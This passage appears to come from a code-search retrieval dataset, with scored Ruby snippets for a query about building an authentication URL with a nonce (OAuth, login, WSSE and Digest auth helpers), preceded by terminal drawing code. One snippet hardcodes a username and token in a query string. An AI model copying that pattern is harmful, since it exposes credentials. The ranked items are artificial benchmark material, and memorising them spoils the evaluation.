@parent\n woffset = 0 if @parent.suppress_borders\n @border_attrib ||= @parent.border_attrib\n case @side\n when :right\n @row = @parent.row+1\n @col = @parent.col + @parent.width - 0\n @length = @parent.height - woffset\n when :left\n @row = @parent.row+1\n @col = @parent.col+0 #+ @parent.width - 1\n @length = @parent.height - woffset\n when :top\n @row = @parent.row+0\n @col = @parent.col + @parent.col_offset #+ @parent.width - 1\n @length = @parent.width - woffset\n when :bottom\n @row = @parent.row+@parent.height-0 #1\n @col = @parent.col+@parent.col_offset #+ @parent.width - 1\n @length = @parent.width - woffset\n end\n else\n # row, col and length should be passed\n end\n my_win = @form ? @form.window : @target_window\n @graphic = my_win unless @graphic\n raise \"graphic is nil in divider, perhaps form was nil when creating\" unless @graphic\n return unless @repaint_required\n\n # first print a right side vertical line\n #bc = $bottomcolor # dark blue\n bc = get_color($datacolor, :cyan, :black)\n bordercolor = @border_color || bc\n borderatt = @border_attrib || Ncurses::A_REVERSE\n if @focussed \n bordercolor = $promptcolor || bordercolor\n end\n\n borderatt = convert_attrib_to_sym(borderatt) if borderatt.is_a? Symbol\n\n @graphic.attron(Ncurses.COLOR_PAIR(bordercolor) | borderatt)\n $log.debug \" XXX DIVIDER #{@row} #{@col} #{@length} \"\n case @side\n when :right, :left\n @graphic.mvvline(@row, @col, space_char, @length)\n when :top, :bottom\n @graphic.mvhline(@row, @col, space_char, @length)\n end\n @graphic.attroff(Ncurses.COLOR_PAIR(bordercolor) | borderatt)\n _paint_marker\n #alert \"divider repaint at #{row} #{col} \"\n\n @repaint_required = false\n end", "title": "" }, { "docid": "111c15118a5832f6a61139d5a309d174", "score": "0.50595343", "text": "def bounding_box \r\n if @cached_bounding_box\r\n @cached_bounding_box.x = self.x + @_x_diff\r\n @cached_bounding_box.y = self.y + @_y_diff\r\n \r\n return @cached_bounding_box\r\n end\r\n \r\n width, height = self.size\r\n \r\n if scale = trait_options[:bounding_box][:scale]\r\n width_scale, height_scale = scale.is_a?(Array) ? [scale[0],scale[1]] : [scale,scale]\r\n width *= width_scale\r\n height *= height_scale\r\n end\r\n \r\n x = self.x - width * self.center_x\r\n y = self.y - height * self.center_y\r\n x += width * CENTER_TO_FACTOR[self.center_x] if self.factor_x < 0\r\n y += height * CENTER_TO_FACTOR[self.center_y] if self.factor_y < 0\r\n\r\n return Rect.new(x, y, width, height)\r\n end", "title": "" }, { "docid": "d1dc9d7277223512df8098365511460c", "score": "0.50530785", "text": "def draw_borders\n if borders.top > 0 # TODO: :none\n options = translate( x: margins.left, y: margins.top ).merge( width: width + margins.width, height: borders.top, foreground: borders.foreground, background: Termbox::RED )\n \n pencil.draw_rectangle( options )\n end\n \n if borders.bottom > 0 # TODO: :none\n options = translate( x: margins.left, y: offsets.top + padding.bottom ).merge( width: width + margins.width, height: borders.bottom, foreground: borders.foreground, background: Termbox::RED )\n \n pencil.draw_rectangle( options )\n end\n end", "title": "" }, { "docid": "083ddacfdd6686f4082f6dd7d6ca832c", "score": "0.5047133", "text": "def draw_advanced(rect, item) end", "title": "" }, { "docid": "a21322e8f2fefd8b67c3753935ce490d", "score": "0.50371206", "text": "def rect x, y, w, h, c, fill = false\n screen.draw_rect x, self.h-y-h, w, h, color[c], fill\n end", "title": "" }, { "docid": "7349ee9d369c5784880c43ed321a55e4", "score": "0.50360733", "text": "def update_dimensions\n spacer=@hex_width # 3-char space between areas\n ui_width = @addr_width + (spacer*4) # addr sp sp hex sp ascii sp\n\n @columns = (client_size.width - ui_width) / (@hex_width + @asc_width*2)\n @columns = 1 if @columns < 1\n @rows = (@data.size / @columns)+1\n\n # calculate hex/ascii area boundaries\n @hex0 = @addr_width + spacer*2\n @hexN = @hex0 + (@columns * (@hex_width+@asc_width))\n @asc0 = @hexN + spacer\n @ascN = @asc0 + (@columns * @asc_width)\n @row_width = @ascN - @addr_width - @hex_width\n\n # update scroll-bar info\n old_pos=first_visible_line\n set_line_count(@rows)\n scroll_to_line(old_pos)\n end", "title": "" }, { "docid": "fdd3e52182bb032970e9e28705c9b001", "score": "0.50272185", "text": "def test_alignRight\n [@window, @sprite, @bitmap].each{|container|\n uc = UCNumericUpDown.new(container, Rect.new(0, 72, @window.contents.width, 24), 5, nil, 0, 99, 1, 2)\n uc.draw()\n }\n return true\n end", "title": "" }, { "docid": "2ebc969646581e5701aaaa1978824d3f", "score": "0.5025606", "text": "def calc_half_rects(rect)\n r = Convert.Rect(rect)\n r1 = r.dup\n r1.width /= 2\n r2 = r.dup\n r2.width -= r1.width\n r2.x += r1.width\n return r, r1, r2\n end", "title": "" } ]
9c315f881c5e77f71e4f80205f0538e1
Public: Composes the authentication URL, where the user should be redirected to to log in. nonce Unique value associated with the request. Same value needs to be passed to the authenticate method (this value is stored in the user session) Returns the authentication URL
[ { "docid": "303031f7bbf646c112f3557f8fd38d40", "score": "0.68491805", "text": "def auth_uri(nonce)\n client.authorization_uri(\n scope: %i[user_group_path email profile esdl-mapeditor microprofile-jwt user_group],\n state: nonce,\n nonce: nonce\n )\n end", "title": "" } ]
[ { "docid": "7d086a83b2469444ad7f7f6b9349bd49", "score": "0.6701941", "text": "def authentication_url(params={})\n @request_token.authorize_url params\n end", "title": "" }, { "docid": "6f78ebaf017c1b46923bd25bee1ea285", "score": "0.6334766", "text": "def login_url(params, session)\n self.authorize_url({ authorize_url: auth_path })\n end", "title": "" }, { "docid": "7705066fa2b89b42374af5074745fd67", "score": "0.63096815", "text": "def login_url(_params, _session)\n authorize_url(authorize_url: auth_url)\n end", "title": "" }, { "docid": "7705066fa2b89b42374af5074745fd67", "score": "0.63096815", "text": "def login_url(_params, _session)\n authorize_url(authorize_url: auth_url)\n end", "title": "" }, { "docid": "9b21bebbb878955ade06b5a3824310f7", "score": "0.628398", "text": "def auth_url\n \"#{@url}/auth/realms/#{@realm}/protocol/openid-connect/auth\"\n end", "title": "" }, { "docid": "a295014f2985f7ad6537446407d2fa0b", "score": "0.62764686", "text": "def uri_with_authentication_and_login\n\t\tURI.parse( uri_with_authentication.to_s + \"&login=true\" )\n\tend", "title": "" }, { "docid": "fd491d74d992738a6ea1754c6e7959f5", "score": "0.62616915", "text": "def login_url(_params, session)\n req_token = get_request_token\n session[:request_token] = req_token.token\n session[:request_token_secret] = req_token.secret\n authorize_url(request_token: req_token.token, request_token_secret: req_token.secret)\n end", "title": "" }, { "docid": "1844ca38aa104cbdb47eb7bd5626cf06", "score": "0.6252759", "text": "def login_url(_params, _session)\n authorize_url\n end", "title": "" }, { "docid": "ca362e3b43d7fbaa7187bef016a6d54d", "score": "0.622156", "text": "def login_url(params, session)\n req_token = get_request_token\n session[:request_token] = req_token.token\n session[:request_token_secret] = req_token.secret\n authorize_url({ request_token: req_token.token, request_token_secret: req_token.secret })\n end", "title": "" }, { "docid": "e25b35ab8775c4f674ba877ccf1c9491", "score": "0.61354876", "text": "def get_auth_url\n\t\tURI::HTTP.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:scope => @options['scope'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t}.to_query\n\t\t).to_s\n\tend", "title": "" }, { "docid": "83ca39d495bf0d9bd93bf35726f4d187", "score": "0.6120826", "text": "def get_auth_url\n\t\tURI::HTTPS.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t}.to_query\n\t\t).to_s\n\tend", "title": "" }, { "docid": "de2b63904f8e1f3505c4c0d9085a1e0d", "score": "0.6089577", "text": "def login_url\n generate_login_token unless login_token.present?\n ENV['RESERVE_URL'] + '/sign-in/' + login_token\n end", "title": "" }, { "docid": "51bd85626e974467d41c1c44ba0d71ef", "score": "0.60230434", "text": "def login_url(params,session)\n req_token = self.get_request_token\n session[:request_token] = req_token.token\n session[:request_token_secret] = req_token.secret\n self.authorize_url({:request_token => req_token.token, :request_token_secret => req_token.secret})\n end", "title": "" }, { "docid": "c87184f83c2f82a9ebf19b4f03858cb0", "score": "0.6010817", "text": "def get_login_url(options={})\n \n # handle options\n nextPage = options[:next] ||= nil\n popup = (options[:popup] == nil) ? false : true\n skipcookie = (options[:skipcookie] == nil) ? false : true\n hidecheckbox = (options[:hidecheckbox] == nil) ? false : true\n frame = (options[:frame] == nil) ? false : true\n canvas = (options[:canvas] == nil) ? false : true\n \n # url pieces\n optionalNext = (nextPage == nil) ? \"\" : \"&next=#{CGI.escape(nextPage.to_s)}\"\n optionalPopup = (popup == true) ? \"&popup=true\" : \"\"\n optionalSkipCookie = (skipcookie == true) ? \"&skipcookie=true\" : \"\"\n optionalHideCheckbox = (hidecheckbox == true) ? \"&hide_checkbox=true\" : \"\"\n optionalFrame = (frame == true) ? \"&fbframe=true\" : \"\"\n optionalCanvas = (canvas == true) ? \"&canvas=true\" : \"\"\n \n # build and return URL\n return \"http://#{WWW_SERVER_BASE_URL}#{WWW_PATH_LOGIN}?v=1.0&api_key=#{@api_key}#{optionalPopup}#{optionalNext}#{optionalSkipCookie}#{optionalHideCheckbox}#{optionalFrame}#{optionalCanvas}\"\n \n end", "title": "" }, { "docid": "c03aebf731bc68c55777192e1938024f", "score": "0.5995252", "text": "def getAuthUrl\n\t\t\t\tURI::HTTP.build(\n\t\t\t\t\t:host => @options['auth_host'],\n\t\t\t\t\t:path => @options['auth_page'],\n\t\t\t\t\t:query => {\n\t\t\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t\t\t:scope => @options['scope'],\n\t\t\t\t\t\t:response_type => \"code\",\n\t\t\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t\t}.to_query\n\t\t\t\t).to_s\n\t\t\tend", "title": "" }, { "docid": "d64b4be5d026896905a4179f7c8d2751", "score": "0.5972059", "text": "def login_url(url)\n return \"https://www.dopplr.com/api/AuthSubRequest?scope=#{CGI.escape(\"http://www.dopplr.com/\")}&next=#{CGI.escape(url)}&session=1\"\n end", "title": "" }, { "docid": "0558f5ab6bdb0ee311044e0bfca4fcdc", "score": "0.59711224", "text": "def authorize_url(ticket = nil)\n ticket = self.ticket unless ticket\n \"#{ api.base_url }/auth/#{ ticket }\"\n end", "title": "" }, { "docid": "4c6fcf6e6fc6f2915e079a786fc0ddcb", "score": "0.59588575", "text": "def getLoginUrl(context=nil)\n url = baseurl + \"wlogin.srf?appid=#{appid}\"\n url += \"&alg=#{securityalgorithm}\"\n url += \"&appctx=#{CGI.escape(context)}\" if context\n url\n end", "title": "" }, { "docid": "5ae36bee0c6d86cf84169e5a8c60b91f", "score": "0.5944794", "text": "def login_url(params,session)\n self.authorize_url({:authorize_url => @auth_path})\n end", "title": "" }, { "docid": "a82f96613bae78b23f866acb08049d79", "score": "0.593101", "text": "def login_url options\n email = options.delete(:email) or raise ArgumentError.new(\"No :email passed for user\")\n user_identifier = options.delete(:user_identifier) or raise ArgumentError.new(\"No :user_identifier passed for user\")\n\n authenticated_parameters = build_authenticated_parameters(email, user_identifier, options)\n\n [checkdin_landing_url, authenticated_parameters.to_query].join\n end", "title": "" }, { "docid": "153cfdb0e1d62c8ccd14a7defc217fc3", "score": "0.58777314", "text": "def url_auth(url, params = {})\n uri = Addressable::URI.parse(url)\n uri.query_values = {:login => session['login'].to_s, :authtoken => session['token'].to_s}\n uri.query_values = uri.query_values.merge( params )\n uri.to_s\n end", "title": "" }, { "docid": "7bc6e3805e9a1233196c66aeadad223a", "score": "0.5873774", "text": "def login_url(params,session)\n self.authorize_url\n end", "title": "" }, { "docid": "7acee3958db312e1e031413d818087ca", "score": "0.58304775", "text": "def get_auth_url(use_callback_flow=true)\n raise 'To be implemented in child classes'\n end", "title": "" }, { "docid": "f17e1024cf18fe69e73eb4559c68dbf6", "score": "0.5827494", "text": "def auth_url(connection = nil)\n state = \"?state=#{Service.encode_state(connection)}\"\n callback = URI.encode_www_form_component(config[:redirect_uri] + state)\n\n uri = URI.parse(base_auth_url)\n uri.query ||= \"\"\n uri.query << \"&#{self.class.callback_param_name}=#{callback}\"\n uri.to_s\n end", "title": "" }, { "docid": "7a5bc47011593cce2e0d42195b90e147", "score": "0.5757349", "text": "def get_authurl\n\t\tlogger.debug \"D, #{__method__.to_s}\"\n\t\tparams = {\n \"client_id\" => @client_id,\n \"response_type\" => \"code\",\n \"redirect_uri\" => @redirect_uri,\n \"prompt\" => \"consent\"\n }\n auth_uri = URI::Generic.new(\"https\", nil, @auth_url, nil, nil, \"authorize\", \n \t\t\t\t\t\t\t nil, nil, nil)\n auth_uri.query = URI.encode_www_form(params)\n logger.debug \"D, #{__method__.to_s}, #{auth_uri.to_s}\"\n return auth_uri.to_s\n\tend", "title": "" }, { "docid": "5511f3a625aa362670e165b28b8c75a5", "score": "0.57360274", "text": "def get_user_auth_url\n @oauth_token = request_oauth_token\n return @authorize_url + \"?oauth_token=\" + @oauth_token[\"oauth_token\"]\n rescue\n puts $! if @@verbose\n return nil\n end", "title": "" }, { "docid": "8f1f7c92f02c7668038c47caedaafd0c", "score": "0.56962055", "text": "def generate_url(require: nil)\n @state = Digest::MD5.hexdigest(\"#{@app}::#{@uuid.generate}\")\n params = {\n app: @app,\n state: @state,\n redirectUri: @redirect_uri\n }\n params = params.merge(require: 'profile') if require == :profile\n params = params.to_query\n \"#{self.class.base_uri}/auth/providers/#{@provider}/login?#{params}\"\n end", "title": "" }, { "docid": "d76fe71e9f47044617a7066fc0d9f713", "score": "0.56951237", "text": "def auth_url\n CloudFiles.const_get(\"AUTH_#{self.auth_location.upcase}\")\n end", "title": "" }, { "docid": "5dc30af45bb92cfcdbb6c396bdfb76b5", "score": "0.5685544", "text": "def auth_url\n client.authorization.authorization_uri(state: '', approval_prompt: :force, access_type: :offline, user_id: client_email).to_s\n end", "title": "" }, { "docid": "e1064226391187565db91bfbff8beb3e", "score": "0.5651003", "text": "def signin_url\n {:controller => 'auth', :action => 'signin'}\n end", "title": "" }, { "docid": "666094ff30d21d22737d0cb04b91848f", "score": "0.5645938", "text": "def authentication_string\n pwd = escape(@account.password)\n user = escape(@account.username)\n sig = escape(@account.signature) \n \"PWD=#{pwd}&USER=#{user}&SIGNATURE=#{sig}\"\n end", "title": "" }, { "docid": "860367c0eaa74f688fbf0a8999dbb46a", "score": "0.56435406", "text": "def build_url(url)\n return url unless http_auth\n\n protocol, uri = detect_protocol(url)\n username, password = [:username, :password].map { |part| CGI.escape http_auth[part] }\n \"#{protocol}#{username}:#{password}@#{uri}\"\n end", "title": "" }, { "docid": "4e8be32a15db1072f28c0e0cd5f8f907", "score": "0.56338626", "text": "def auth_login_url(callback_url, session_id=false)\n url = \"#{self.service.configuration.auth_url}login?callback=#{callback_url}\"\n url = \"#{url}&session=#{session_id}\" if session_id != false\n url\n end", "title": "" }, { "docid": "53e6d5d80ed5c2f77464b0a360fca7c9", "score": "0.5625596", "text": "def login_url\n DOMAINS[username_domain] || DOMAINS['hotmail.com']\n end", "title": "" }, { "docid": "24639d306a1459a9d11fd5552435f211", "score": "0.5598464", "text": "def get_auth_url(use_callback_flow=true)\n if use_callback_flow\n service_name = service_name_for_user(DATASOURCE_NAME, @user)\n @client.authorization.state = CALLBACK_STATE_DATA_PLACEHOLDER.sub('user', @user.username)\n .sub('service', service_name)\n else\n @client.authorization.redirect_uri = REDIRECT_URI\n end\n @client.authorization.authorization_uri.to_s\n end", "title": "" }, { "docid": "e44551b2bf6f3ace712e10b5ce0964ee", "score": "0.55945116", "text": "def redirect_url\n if @next_url.present?\n @next_url = CGI.unescape(@next_url)\n @next_url = nil if !ValidateLink.is_valid_redirect_path?(@next_url)\n end\n\n if !@has_valid_mfa_session\n next_url_param = @next_url.present? ? \"?next=#{CGI.escape @next_url}\" : \"\"\n GlobalConstant::WebUrls.multifactor_auth + next_url_param\n else\n @admin.has_accepted_terms_of_use? ? get_application_url : GlobalConstant::WebUrls.terms_and_conditions\n end\n end", "title": "" }, { "docid": "ee8e6cef5738cfeec3695dda3c373326", "score": "0.5565841", "text": "def account_url\n return new_user_session_url unless user_signed_in?\n return :user_dashboard_url\n end", "title": "" }, { "docid": "61b474b0462309315f92fd2838f60f7c", "score": "0.5563544", "text": "def url_to_social_login( provider_key, on_success = nil )\n provider = Aerogel::Auth.providers[provider_key] || {}\n origin = on_success || params['on_success']\n query_string = origin ? \"?origin=#{origin}\" : ''\n \"/auth/#{provider_key}#{query_string}\"\nend", "title": "" }, { "docid": "8d260ba411302a7a259ff0571a0e7570", "score": "0.55597717", "text": "def authenticate_url(url)\n\t\turi = URI(url)\n\t\thost = uri.host\n\n\t\t# Finding a file wth credentials\n\t\tcredential_files = File.expand_path(File.join('~/.oroshi/private/config/kingdoms', host))\n\t\tunless File.exists?(credential_files)\n\t\t\treturn url\n\t\tend\n\n\t\turi.user, uri.password = File.read(credential_files).chomp.split(':')\n\t\treturn uri.to_s\n\tend", "title": "" }, { "docid": "5e500570a4ab9cebec1a4e6196932730", "score": "0.55259067", "text": "def auth_for_url(url)\n self.hr_config.get_for_url(url, :auth)\n end", "title": "" }, { "docid": "b5783dfda62de096c9b7ea76c245e98e", "score": "0.5481511", "text": "def login_url(state, scope = nil)\n data = { \"response_type\" => \"code\", \"client_id\" => @client_id, \"state\" => state }\n data[\"redirect_uri\"] = @redirect_uri unless @redirect_uri.nil?\n data[\"scope\"] = scope unless scope.nil?\n return \"https://#{$api_endpoint}/auth/code?\" + URI.encode_www_form(data)\n end", "title": "" }, { "docid": "a376c0478ea7f691a382aba723c72abc", "score": "0.5481249", "text": "def auth_link\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"provider=#{provider}\",\n \"\" ] if browse_everything_controller_debug_verbose\n @auth_link ||= if provider.present?\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller_debug_verbose\n link, data = provider.auth_link(connector_response_url_options)\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"link=#{link}\",\n \"data=#{data}\",\n \"\" ] if browse_everything_controller_debug_verbose\n provider_session.data = data\n link = \"#{link}&state=#{provider.key}\" unless link.to_s.include?('state')\n link\n end\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"@auth_link = #{@auth_link}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n @auth_link\n end", "title": "" }, { "docid": "171d94d08151b73c2a9d5aa77f9a1c53", "score": "0.5468827", "text": "def authorize_endpoint_url\n uri = URI(openid_config['authorization_endpoint'])\n uri.query = URI.encode_www_form(client_id: client_id,\n redirect_uri: callback_url,\n response_mode: response_mode,\n response_type: response_type,\n nonce: new_nonce)\n uri.to_s\n end", "title": "" }, { "docid": "7460a2f712ad0641b1d61d2923b41327", "score": "0.544388", "text": "def auth_for_url(url)\n self.hr_config.get_for_url(url, :auth)\n end", "title": "" }, { "docid": "2a43ab9e3858d37e373077188ccb0d69", "score": "0.54311794", "text": "def get_fractal_authentication_url(opts = {})\n data, _status_code, _headers = get_fractal_authentication_url_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "5bb337950f03ae383a73f132892cb00a", "score": "0.5430456", "text": "def auth_key(nonce)\n Digest::MD5.hexdigest(\"#{nonce}#{name}#{hashed_password}\")\n end", "title": "" }, { "docid": "b40d991a28983982fb6ab48e1a6ba952", "score": "0.54292625", "text": "def authenticate_request!(request)\n return if @authentication_params.empty?\n \n puts \"AUTHENTICATION PARAMS: #{@authentication_params.inspect}\"\n @nonce_count += 1\n cnonce = Digest::MD5.hexdigest(Time.now.to_s + rand(65535).to_s)\n a1 = \"#{@http_login}:#{@authentication_params['realm']}:#{@password}\"\n a2 = \"#{request.method}:#{request.path}\"\n\n response_digest = Digest::MD5.hexdigest(a1) << ':' <<\n @authentication_params['nonce'] << ':' <<\n ('%08x' % @nonce_count) << ':' <<\n cnonce << ':' <<\n @authentication_params['qop'] << ':' <<\n Digest::MD5.hexdigest(a2)\n\n request['Authorization'] = \"Digest username=\\\"#{@http_login}\\\", \" <<\n \"realm=\\\"#{@authentication_params['realm']}\\\", \" <<\n \"nonce=\\\"#{@authentication_params['nonce']}\\\", \" <<\n \"uri=\\\"#{request.path}\\\", \" <<\n \"nc=#{'%08x' % @nonce_count}, \" <<\n \"qop=\\\"#{@authentication_params['qop']}\\\", \" <<\n \"cnonce=\\\"#{cnonce}\\\", \" <<\n \"response=\\\"#{Digest::MD5.hexdigest(response_digest)}\\\"\"\n end", "title": "" }, { "docid": "fd4e9a2348f13d31165c1857a849c994", "score": "0.54242593", "text": "def post_auth_redirect_url\n referer = params[:referer] || request.referer\n \n if referer && (referer =~ %r|^https?://#{request.host}#{root_path}| ||\n referer =~ %r|^https?://#{request.host}:#{request.port}#{root_path}|)\n #self-referencing absolute url, make it relative\n referer.sub!(%r|^https?://#{request.host}(:#{request.port})?|, '')\n elsif referer && referer =~ %r|^(\\w+:)?//|\n Rails.logger.debug(\"#post_auth_redirect_url will NOT use third party url for post login redirect: #{referer}\")\n referer = nil\n end\n \n if referer && referer_blacklist.any? {|blacklisted| referer.starts_with?(blacklisted) }\n Rails.logger.debug(\"#post_auth_redirect_url will NOT use a blacklisted url for post login redirect: #{referer}\")\n referer = nil\n elsif referer && referer[0,1] != '/'\n Rails.logger.debug(\"#post_auth_redirect_url will NOT use partial path for post login redirect: #{referer}\")\n referer = nil\n end\n \n return referer || root_path \n end", "title": "" }, { "docid": "875089e5f8f811563b120d4b4be60ee1", "score": "0.5393283", "text": "def omniauth_login_url(provider)\n \"#{Rails.configuration.relative_url_root}/auth/#{provider}\"\n end", "title": "" }, { "docid": "354fe9093b6e882459a8aef40809e63d", "score": "0.53892547", "text": "def authentication_path(local_port: nil, invite_code: nil, expires_in: nil, remote: false)\n auth_url_params = {}\n if remote\n auth_url_params[:redirect_uri] = \"/code\"\n elsif local_port\n auth_url_params[:redirect_uri] = \"http://localhost:#{local_port}/cb\"\n else\n raise ArgumentError, \"Local port not defined and not performing remote login\"\n end\n auth_url_params[:invite_code] = invite_code if invite_code\n auth_url_params[:expires_in] = expires_in if expires_in\n \"/authenticate?#{URI.encode_www_form(auth_url_params)}\"\n end", "title": "" }, { "docid": "cdd87f96b85ea0dd057dcee13beea206", "score": "0.5384897", "text": "def after_authentication\n @initiating_url = session[:initiating_url]\n session[:initiating_url] = nil\n render :'authentication/after_authentication'\n end", "title": "" }, { "docid": "2aeaa2c76782c484e5ab1ec938170ad4", "score": "0.53779167", "text": "def authentication_url_from_master(master_url, auth_params)\n client = Kontena::Client.new(master_url)\n vspinner \"Sending authentication request to receive an authorization URL\" do\n response = client.request(\n http_method: :get,\n path: authentication_path(auth_params),\n expects: [501, 400, 302, 403],\n auth: false\n )\n\n if client.last_response.status == 302\n client.last_response.headers['Location']\n elsif response.kind_of?(Hash)\n exit_with_error [response['error'], response['error_description']].compact.join(' : ')\n elsif response.kind_of?(String) && response.length > 1\n exit_with_error response\n else\n exit_with_error \"Invalid response to authentication request : HTTP#{client.last_response.status} #{client.last_response.body if debug?}\"\n end\n end\n end", "title": "" }, { "docid": "1666c86d88b5bc2c6977f8ee8fb9de31", "score": "0.53439194", "text": "def nonce\n auth_info[\"nonce\"] || \"\"\n end", "title": "" }, { "docid": "b67b9fe95b4411c95941f3b4215e1ebb", "score": "0.5328004", "text": "def login_url(state, scope = nil)\n data = { \"response_type\" => \"code\", \"client_id\" => @client_id, \"state\" => state }\n data[\"redirect_uri\"] = @redirect_uri unless @redirect_uri.nil?\n data[\"scope\"] = scope unless scope.nil?\n return \"https://#{API_ENDPOINT}/auth/code?\" + URI.encode_www_form(data) \n end", "title": "" }, { "docid": "cf67d16293cf93a464f3d57f566023c3", "score": "0.53036314", "text": "def credentials_for(uri, realm); end", "title": "" }, { "docid": "debd68ccee01c94fb716b9f49c0cc711", "score": "0.5301597", "text": "def authenticate_request\n session[:requested_url] = request.fullpath\n\n url = logged_in? ? shibbolite.access_denied_url : shibbolite.login_url\n\n # redirect to the selected url\n respond_to do |format|\n format.html { redirect_to url }\n format.js { render js: \"window.location.assign('#{url}');\"}\n end\n end", "title": "" }, { "docid": "2635ebd0edee28d46dcd606a2e45c9a2", "score": "0.5297482", "text": "def authenticated_uri(params = {})\n add_params_to_url(\n @app_context.brightspace_host.to_uri(\n path: path,\n query: query\n ), params)\n end", "title": "" }, { "docid": "26ca536a58a3ac3bb63990a4c029e623", "score": "0.52869517", "text": "def redirect_uri\n\t\t@client.authorization.authorization_uri.to_s\n\tend", "title": "" }, { "docid": "55a5083b8939f57397a2020aed6d4562", "score": "0.5267924", "text": "def getTrustedLoginUrl\n secureurl + \"wlogin.srf\"\n end", "title": "" }, { "docid": "9d82f37532890248aab13a9432c06444", "score": "0.525474", "text": "def token_url\n params[:url] + (params[:token_path] || '/token')\n end", "title": "" }, { "docid": "1e28734e3f5dfb9245e555f2076eba13", "score": "0.5239764", "text": "def auth_endpoint\n URI.join(TodoableApi.configuration.endpoint, 'api/authenticate')\n end", "title": "" }, { "docid": "582c6403b575d9404f4b9b299705d372", "score": "0.52345645", "text": "def login_url(params={})\n auth_pds_login_url \"load-login\", params\n end", "title": "" }, { "docid": "a96f265884a0303269cbc43e8a004daa", "score": "0.5228162", "text": "def after_sign_in_path_for(resource)\n session[:requested_url] || myriorunner_path\n end", "title": "" }, { "docid": "da62a24f11382050f96725d07a364925", "score": "0.5225257", "text": "def auth_url\n MiniFB.oauth_url(@app_id, @redirect_to,\n :scope => 'user_about_me') # See MiniFB.scopes\n end", "title": "" }, { "docid": "51d50941e032ece4a7a2d18b72683f73", "score": "0.522456", "text": "def index\n res = create_request2(root_url + '/login/auth', 'tequila.epfl.ch')\n redirect_to ('https://tequila.epfl.ch/cgi-bin/tequila/requestauth?request' + res)\n end", "title": "" }, { "docid": "1c430508078f1380fb1001909a0512a7", "score": "0.5205918", "text": "def authorize_url\n request_token.authorize_url\n end", "title": "" }, { "docid": "75cf4b2d516b6c690fb1d973fd4c3e0a", "score": "0.51978534", "text": "def get_auth_url(service)\n config = get_service_config(service)\n request_id = get_request_token(service)\n\n url = String.new\n url << config[:authorize_url]\n url << \"?response_type=code\"\n url << \"&client_id=\"\n url << config[:client_id]\n url << \"&redirect_uri=\"\n url << config[:redirect_uri]\n url << \"&scope=\"\n url << config[:scope]\n url << \"&state=\"\n url << request_id\n\n url\n end", "title": "" }, { "docid": "b1c6879e5e5095f875b99f51aab63518", "score": "0.5195885", "text": "def login_web_url\n return @login_web_url\n end", "title": "" }, { "docid": "93906a8b79257ec63ff491bcc0be3dce", "score": "0.5190004", "text": "def identity_url(hsh)\n if APP_CONFIG[:restricted_names].include?(hsh[:username].split('.').last)\n hsh[:username]\n else\n \"#{hsh[:username]}.#{AppConfig.host(request.host)}\"\n end\n end", "title": "" }, { "docid": "c6263946866f02606ab87c1752e4239f", "score": "0.5188035", "text": "def user_session_redirect_url(url)\n # Work with what we have\n case\n when url.present?\n url\n when request.referer.present?\n request.referer\n else\n root_url\n end\n end", "title": "" }, { "docid": "ba740133792c69a8ff57ed8b06485e05", "score": "0.5185575", "text": "def get_user_uri\n \"/#{URI.encode ZohoReports.configuration.login_email}\"\n end", "title": "" }, { "docid": "2e60442a463f61c7cf8da8ee3c6b3868", "score": "0.51767504", "text": "def login_url(service)\n append_service @login_url, service\n end", "title": "" }, { "docid": "a4b4e7134dbb9e73156bb33b502e2013", "score": "0.517619", "text": "def wsse_authenticate(req, url, params = {})\n user, pass = username_and_password_for_realm(url, params[\"realm\"])\n\n nonce = rand(16**32).to_s(16)\n nonce_enc = [nonce].pack('m').chomp\n now = Time.now.gmtime.iso8601\n\n digest = [Digest::SHA1.digest(nonce + now + pass)].pack(\"m\").chomp\n\n req['X-WSSE'] = %Q<UsernameToken Username=\"#{user}\", PasswordDigest=\"#{digest}\", Nonce=\"#{nonce_enc}\", Created=\"#{now}\">\n req[\"Authorization\"] = 'WSSE profile=\"UsernameToken\"'\n end", "title": "" }, { "docid": "bcd8a91054d9bb473a455a38fa38aea6", "score": "0.5169243", "text": "def token_url(params=nil)\n connection.build_url(options[:token_url], params).to_s\n end", "title": "" }, { "docid": "69b5ac6e74ea9879ca7b4043a2734d18", "score": "0.51460284", "text": "def http_auth_login\n # FIXME: Implement\n end", "title": "" }, { "docid": "f436c56f8eae738a02ac31abc9b43a61", "score": "0.514367", "text": "def auth_code_url(options={})\n options = default_auth_code_url_options(options)\n\n if self.options[:raise_errors]\n check_redirect_uri!(options)\n end\n\n @redirect_uri = options[:redirect_uri]\n\n self.auth_code.authorize_url(options)\n end", "title": "" }, { "docid": "0d8768d7b6d7f3c39343db1beff5425e", "score": "0.51345676", "text": "def redirect_login_url(url)\n hash = sha2(url).slice(0,8)\n session[:redirects] ||= {}\n session[:redirects][hash] = url\n \"/login?redirect=#{hash}\"\n end", "title": "" }, { "docid": "f94107b00714e3bfae72738cf60f9a5d", "score": "0.51344144", "text": "def auth_query\n \"?login=fcoury&token=8f700e0d7747826f3e56ee13651414bd\"\n end", "title": "" }, { "docid": "18b54361af4ee7fe6de563be02c473c0", "score": "0.5125513", "text": "def new_nonce\n session['omniauth-azure-activedirectory.nonce'] = SecureRandom.uuid\n end", "title": "" }, { "docid": "86855b09ba9111f134b85b4d98aa7166", "score": "0.5098729", "text": "def authenticate_url\n 